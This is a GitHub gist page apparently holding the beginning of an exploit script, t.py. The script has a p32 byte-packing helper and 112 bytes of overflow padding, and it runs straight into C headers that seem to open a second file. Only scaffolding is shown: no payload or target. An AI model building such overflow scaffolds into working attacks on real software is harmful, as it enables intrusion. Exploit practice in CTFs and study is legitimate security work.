Skip to content

Instantly share code, notes, and snippets.

View souragc's full-sized avatar

3agl3 souragc

View GitHub Profile
@souragc
souragc / t.py
Created September 20, 2022 18:46
import sys
def p32(integer):
return integer.to_bytes(4, byteorder='little').decode('latin-1')
# Padding goes here
p = 'a'*112
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>